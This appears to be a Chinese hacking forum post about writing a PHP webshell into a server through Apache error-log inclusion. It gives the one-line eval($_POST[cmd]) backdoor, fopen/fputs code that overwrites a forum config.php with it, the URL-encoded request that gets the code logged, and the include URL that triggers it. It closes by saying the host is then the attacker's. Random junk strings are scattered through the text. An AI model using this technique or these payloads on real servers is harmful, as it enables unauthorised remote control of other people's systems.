php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
! o- `+ N. L) g2 w2 ?: M
比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
3 C0 c8 _2 y. F: q
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
" K! D) w5 h/ U/ c1 v
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
* q) H1 k$ y8 o: ^/ m
8 Z! {7 l: H- ?$ S) ]5 S. ~我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
/ j! t& _% u& u' `config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
1 S5 W+ g3 ]8 e/ `%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
4 w+ \+ g2 D9 qfclose%28%24fp%29%3B%3F%3E
我们提交
% C" @8 S! U/ r" u  mhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

+ `. U, g8 I& j# M6 \) @' C9 s这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
